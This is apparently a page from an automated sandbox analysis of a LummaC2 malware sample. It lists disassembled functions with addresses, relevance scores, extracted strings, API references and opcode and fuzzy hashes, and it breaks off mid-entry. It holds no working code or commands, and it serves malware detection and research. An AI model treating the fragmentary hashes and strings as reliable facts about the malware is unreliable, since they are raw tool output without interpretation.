Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 0$@$^TFW$d
API String ID: 0-3517422908
Opcode ID: 71c0e11217be784b906419a2768c658e0d685164144bcf72bb798d8fd372cd8a
Instruction ID: 566638f374002e97cc9f37d55bb5dd9f83e8f7cffaca2d0d1b7be3694cf21454
Opcode Fuzzy Hash: 71c0e11217be784b906419a2768c658e0d685164144bcf72bb798d8fd372cd8a
Instruction Fuzzy Hash: BF7115B021C3918BD318CF3984A133BBBD1AFD6304F6C996DE4D68B392D674C5458B66

Function 00D6B695 Relevance: 5.1, Strings: 4, Instructions: 149COMMON

Download Yara Rule

Strings

^_[E, xrefs: 00D6B7D9
5++r, xrefs: 00D6B722
]>8), xrefs: 00D6B820
O>8), xrefs: 00D6B7F9

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 5++r$O>8)$]>8)$^_[E
API String ID: 0-2089560213
Opcode ID: 656c8ed51c53cc77feb93b6a18663f3a5e57455490300f1b6f827f886ae11590
Instruction ID: be58b677151a3399e9ae2a5d639489400c475dbc0c9f2c210cbb99664e79ee5d
Opcode Fuzzy Hash: 656c8ed51c53cc77feb93b6a18663f3a5e57455490300f1b6f827f886ae11590
Instruction Fuzzy Hash: AD51E47550C3C14BD7258F3988A43EBBBE2AFE2314F2C88ADD0C9C7241DB35454A8B66

Function 00D4D35C Relevance: 5.1, APIs: 2, Strings: 1, Instructions: 625COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 00D4D368
CoUninitialize.OLE32 ref: 00D4D7A4

Strings

(P, xrefs: 00D4D7B2

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: Uninitialize
String ID: (P
API String ID: 3861434553-2012212641
Opcode ID: 4250f0d7756c81972aa526b01435db8fab72cd1cdf9d4b788646495060f8916e
Instruction ID: 763f5fafa0aa28ea28e353ae5402b498e9b14617d2f9cda107cfbfdb6940ee5d
Opcode Fuzzy Hash: 4250f0d7756c81972aa526b01435db8fab72cd1cdf9d4b788646495060f8916e
Instruction Fuzzy Hash: 7322E07154D3C28AD331CF39D4907AABFE1AFA6308F188A9CD4D99B242D7354506CBA2

Function 00D7A800 Relevance: 4.4, Strings: 3, Instructions: 638COMMON

Download Yara Rule

Strings

<Y?., xrefs: 00D7ABDB
@Y?., xrefs: 00D7AC15
f, xrefs: 00D7AA31

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: <Y?.$@Y?.$f
API String ID: 2994545307-3750340189
Opcode ID: 80914413b9ccaafa89f4b8f78084a53de3f3205cd0e3e669bdc6d8404fe67b9c
Instruction ID: e9f97c1efb55d359dc48aa79cf1285ac39dd07edf7643b526ad1f12d2128e5c2
Opcode Fuzzy Hash: 80914413b9ccaafa89f4b8f78084a53de3f3205cd0e3e669bdc6d8404fe67b9c
Instruction Fuzzy Hash: 4522BE756083419FD714CF28C891A2FFBE2ABD9314F58CA2CE59987392E731DC058B62

Function 00D49710 Relevance: 4.1, Strings: 3, Instructions: 395COMMON

Download Yara Rule

Strings

p, xrefs: 00D49936
v~, xrefs: 00D49A04
HVKG, xrefs: 00D497A0

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: HVKG$p$v~
API String ID: 0-1862922427
Opcode ID: e00571ec81d51bb1bdedba6a829c989a72e4e885727fca7182701595677f660a
Instruction ID: 67602f30195ceed3c8ab8899b53466ccf8340b96a22d8c57341502de664fe78a
Opcode Fuzzy Hash: e00571ec81d51bb1bdedba6a829c989a72e4e885727fca7182701595677f660a
Instruction Fuzzy Hash: 03B1277160C3408BE314CF65D8916ABFBE5EBD2314F18496CE5E187392D778D90ACB62

Function 00D6BF45 Relevance: 4.1, Strings: 3, Instructions: 336COMMON

Download Yara Rule

Strings

u, xrefs: 00D6C364
L,2H, xrefs: 00D6BF4D
@a, xrefs: 00D6C2AF

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @a$L,2H$u
API String ID: 0-2528062038
Opcode ID: ca43026a5cbe2baf23690462e3485f5dee801973e08fe5de273e320aa90eefc3
Instruction ID: 6e416544cd666d4225aea0b45931e9bda8c2549cb2d35efde5959bb22968c944
Opcode Fuzzy Hash: ca43026a5cbe2baf23690462e3485f5dee801973e08fe5de273e320aa90eefc3
Instruction Fuzzy Hash: 5F91E07051C3C18FD729CF3984607BBBBE1AFAA304F18999DE4D997292D7358106CB26

Function 00D6C984 Relevance: 4.1, Strings: 3, Instructions: 301COMMON

Download Yara Rule

Strings

d, xrefs: 00D6CACA
@, xrefs: 00D6CBB3
^TFW, xrefs: 00D6CC43

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @$^TFW$d
API String ID: 0-3772873652
Opcode ID: f41f2aafcea8d734a08ccd9b2808d6a0491ed3362b20fa8a5ecb002cbb8b062f
Instruction ID: b2c1a28f2b330979e14c8c1705f4b9b8d1a50d54124cdb7a96b51781461ef839
Opcode Fuzzy Hash: f41f2aafcea8d734a08ccd9b2808d6a0491ed3362b20fa8a5ecb002cbb8b062f
Instruction Fuzzy Hash: F87104B021C3914BD3188F3A84A133BBFD1AFD6304F6C996DE4D68B291D674C5468B66

Function 00D6C9E9 Relevance: 4.0, Strings: 3, Instructions: 300COMMON

Download Yara Rule

Strings

d, xrefs: 00D6CACA
@, xrefs: 00D6CBB3
^TFW, xrefs: 00D6CC43

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @$^TFW$d
API String ID: 0-3772873652
Opcode ID: 01bfb272a3669549485c97a598ee81845c8864a179bda49b2c5324d670d4d600
Instruction ID: d0b6bc3254a050102ec864e8555e47625b56adb499a103134546d0b35036ce8f
Opcode Fuzzy Hash: 01bfb272a3669549485c97a598ee81845c8864a179bda49b2c5324d670d4d600
Instruction Fuzzy Hash: 767125B021C3914BD318CF3A84A133BBFD1AFD6304F6C996DE4D68B291D674C4468B62

Function 00D6C9DA Relevance: 4.0, Strings: 3, Instructions: 274COMMON

Download Yara Rule

Strings

d, xrefs: 00D6CACA
@, xrefs: 00D6CBB3
^TFW, xrefs: 00D6CC43

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @$^TFW$d
API String ID: 0-3772873652
Opcode ID: f07cbdd6c70ce6471aa3d2c67ccdc1b8589757f1f081175b9f0855901da35343
Instruction ID: 6f1630d77c25c54757cbbc83b2547069f333fec7777936eb9db3d6ace4da8dc5
Opcode Fuzzy Hash: f07cbdd6c70ce6471aa3d2c67ccdc1b8589757f1f081175b9f0855901da35343
Instruction Fuzzy Hash: 046124A111C3D14BD318CF3A84A133BBFD1AFE6704F6C996DE4D68B292D63485068B66

Function 00D65640 Relevance: 4.0, Strings: 3, Instructions: 267COMMON

Download Yara Rule

Strings

AF, xrefs: 00D658DC
O6E4, xrefs: 00D6593D, 00D6594C
)G, xrefs: 00D658D4

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: )G$AF$O6E4
API String ID: 0-708911115
Opcode ID: 8ec6d81a368636483f53a5262d03c7df6d3968ac354951764ba2c7921f2d5c37
Instruction ID: 6787a081a1fa4b7a7d668311a1224c9ae7eb423829a2ec95eff469b5c91bf45f
Opcode Fuzzy Hash: 8ec6d81a368636483f53a5262d03c7df6d3968ac354951764ba2c7921f2d5c37
Instruction Fuzzy Hash: 588148B16083508BD7149F14D89136BBBE2FFD1314F19891CE4C68B395EB798945CBA2

Function 00D564E0 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

tuz, xrefs: 00D5670D
L4, xrefs: 00D56570
pv, xrefs: 00D56702

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: pv$tuz$L4
API String ID: 2994545307-3236822430
Opcode ID: 659bf752deb4093b69507663e6fbe5509ca95d987c4a705a04419cbafe9fb46c
Instruction ID: 0c729d4e0ccf440b927f9d4e478b7e50910cd2f1e1b1535d8d5ced111692a4b5
Opcode Fuzzy Hash: 659bf752deb4093b69507663e6fbe5509ca95d987c4a705a04419cbafe9fb46c
Instruction Fuzzy Hash: 938112726183518FDB208F24DC917ABB3E2FFC4315F588978D889CB295EB749849C762

Function 00D5720B Relevance: 3.4, Strings: 2, Instructions: 890COMMON

Download Yara Rule

Strings

!, xrefs: 00D578E5
1, xrefs: 00D57631

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: !$1
API String ID: 2994545307-1727534169
Opcode ID: 85bf1167f59d40186383481df6ad374abd302d46ca289c9c3803e1366ebd0d10
Instruction ID: 552c7b2779d517607d6de00467d8c9452d2704239788a9e4254381315ecbd187
Opcode Fuzzy Hash: 85bf1167f59d40186383481df6ad374abd302d46ca289c9c3803e1366ebd0d10
Instruction Fuzzy Hash: 7422267460C3418BDB258F24E89177BBBE2EB96315F2C856CDCC697252D734880ACB76

Function 00D44C50 Relevance: 3.3, Strings: 2, Instructions: 812COMMON

Download Yara Rule

Strings

0, xrefs: 00D4559A
8, xrefs: 00D45592

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 6c2e06ad8b91cc5789e039c83d3b15b98ab2e841142eab5ce98a31bdc1e75463
Instruction ID: 0a1d55dc921e96cf60153aaa9a5a187e70edf685722efd9f66aa88ec6c1a06b3
Opcode Fuzzy Hash: 6c2e06ad8b91cc5789e039c83d3b15b98ab2e841142eab5ce98a31bdc1e75463
Instruction Fuzzy Hash: 9F7238715083419FD714CF18D880BAABBE1BF88354F48892DF9C987392D775D998CBA2

Function 00D5CC60 Relevance: 3.0, Strings: 2, Instructions: 493COMMON

Download Yara Rule

Strings

06i`, xrefs: 00D5D13A
46i`, xrefs: 00D5D104

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 06i`$46i`
API String ID: 0-253969996
Opcode ID: 4c11265b448091fd1308e8d3b1596245e54cf7c7bfa0ff32077c740eb2c8d9a0
Instruction ID: 5b267bfa6c2477dd4146b86510a873e5b8ade305eb2d47079e04d39613a20d98
Opcode Fuzzy Hash: 4c11265b448091fd1308e8d3b1596245e54cf7c7bfa0ff32077c740eb2c8d9a0
Instruction Fuzzy Hash: 84D10576A243118BCB24CF28CC5136BB7E2EFD5311F08992CEC959B394E7789945C7A1

Function 00D780C5 Relevance: 2.9, Strings: 2, Instructions: 443COMMON

Download Yara Rule

Strings

:, xrefs: 00D785B4
NO, xrefs: 00D78378

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: :$NO
API String ID: 0-151983983
Opcode ID: 2ccde7488822b846663162badae1e106e67759d571de7825870f8126312ce040
Instruction ID: 121443c9d7d84dc5615ec380585e8722dde86389e5de6aa8214d0d994d36e765
Opcode Fuzzy Hash: 2ccde7488822b846663162badae1e106e67759d571de7825870f8126312ce040
Instruction Fuzzy Hash: EDD1E03B628352CBC7189F78DC5526AB3E2FF88755F2AC878D445C72A0EB39C9509760

Function 00D7E540 Relevance: 2.8, Strings: 2, Instructions: 341COMMON

Download Yara Rule

Strings

lohi, xrefs: 00D7E624, 00D7E6C5
{rsp, xrefs: 00D7E750

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: lohi${rsp
API String ID: 2994545307-2839643115
Opcode ID: ab910be21b4894d1342458ab4dd97ada5e5a18f227d1f3ccb136a847dd9fe62a
Instruction ID: 8dad802dd11d601ace7fdf963aae8f3cfa0caa6ab760b73a793cbd502240d105
Opcode Fuzzy Hash: ab910be21b4894d1342458ab4dd97ada5e5a18f227d1f3ccb136a847dd9fe62a
Instruction Fuzzy Hash: 3291F7716083544FD324DE29D88066BB7E6EBD9318F59C97CE49A87251EA30EC05CBA2

Function 00D44310 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 00D4438B
IEND, xrefs: 00D44701

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: ac1fa11b763a364c8ac34ce87546c973fad085ad5e9108b3df4e5f5774e7c65d
Instruction ID: d47961c6d64bff9ec23ad4ff25d712fa209725c8ecb05f40c7b98c08760658e7
Opcode Fuzzy Hash: ac1fa11b763a364c8ac34ce87546c973fad085ad5e9108b3df4e5f5774e7c65d
Instruction Fuzzy Hash: 6AD1DDB15083449FD720CF18D885B9EBBE4EF94308F14492DF9999B382D775E948CBA2

Function 00D57B75 Relevance: 2.8, Strings: 2, Instructions: 325COMMON

Download Yara Rule

Strings

s}, xrefs: 00D57C34
"#, xrefs: 00D57D10

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: "#$s}
API String ID: 0-1697270657
Opcode ID: d8dcc160dc1427745223130be737d086a6f3c9486a7af3f9a6e2a0f92bf1585c
Instruction ID: 1326711b211351e8e14770a12b47566c26ec2c55834060446de60df1efa623ba
Opcode Fuzzy Hash: d8dcc160dc1427745223130be737d086a6f3c9486a7af3f9a6e2a0f92bf1585c
Instruction Fuzzy Hash: F0B198B01183818BD771CF24D4917EBBBE0EF96314F28495DE8C98B391EB358549CBA2

Function 00D6C289 Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

u, xrefs: 00D6C364
@a, xrefs: 00D6C2AF

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @a$u
API String ID: 0-583156259
Opcode ID: bdb53e0313da9fa316e9fdbf32995381c59c27938e460fe6a216f2ce7a45a2cb
Instruction ID: 88ce00262f2b40ff18ef413eb79b34e99e91051f000425f3ab512901141356cd
Opcode Fuzzy Hash: bdb53e0313da9fa316e9fdbf32995381c59c27938e460fe6a216f2ce7a45a2cb
Instruction Fuzzy Hash: 6481F57051C3C18BD729CF3984607BBBBD1AFAA304F18995DE4C997282DB358506CB26

Function 00D5683F Relevance: 2.8, Strings: 2, Instructions: 289COMMON

Download Yara Rule

Strings

gfff, xrefs: 00D56A5E
7, xrefs: 00D56991

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 7$gfff
API String ID: 0-3777064726
Opcode ID: 2c5853fec57e5615d575d9f20c5d6870144fe0d908ba827f31ee7c0bb96217b0
Instruction ID: 299b34009a97e4845daed083b9f8c4e22b4422939fa98ca7a6b3bf7007ad341e
Opcode Fuzzy Hash: 2c5853fec57e5615d575d9f20c5d6870144fe0d908ba827f31ee7c0bb96217b0
Instruction Fuzzy Hash: 50918973A142114BD718CB28CC527AB77E2EBC4324F5DC63DD895DB385EA78D80A8B91

Function 00D5AD81 Relevance: 2.8, Strings: 2, Instructions: 279COMMON

Download Yara Rule

Strings

x3,-, xrefs: 00D5AE6E
CM, xrefs: 00D5AF47

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: CM$x3,-
API String ID: 0-963954796
Opcode ID: e6dbcfbd6aca1089663c9fe9338517e2b0033f1b192675631344e1da30cdb805
Instruction ID: 1ebf5b456739e4b3ab8c130e4dec80662e1df64fb26f091eccb7eb98e0d44790
Opcode Fuzzy Hash: e6dbcfbd6aca1089663c9fe9338517e2b0033f1b192675631344e1da30cdb805
Instruction Fuzzy Hash: 5B9160B49107109FC7249F39C956616BFF0FF0A311B448A5DE8D68BB95D330E40ACBA6

Function 00D5D172 Relevance: 2.7, Strings: 2, Instructions: 241COMMON

Download Yara Rule

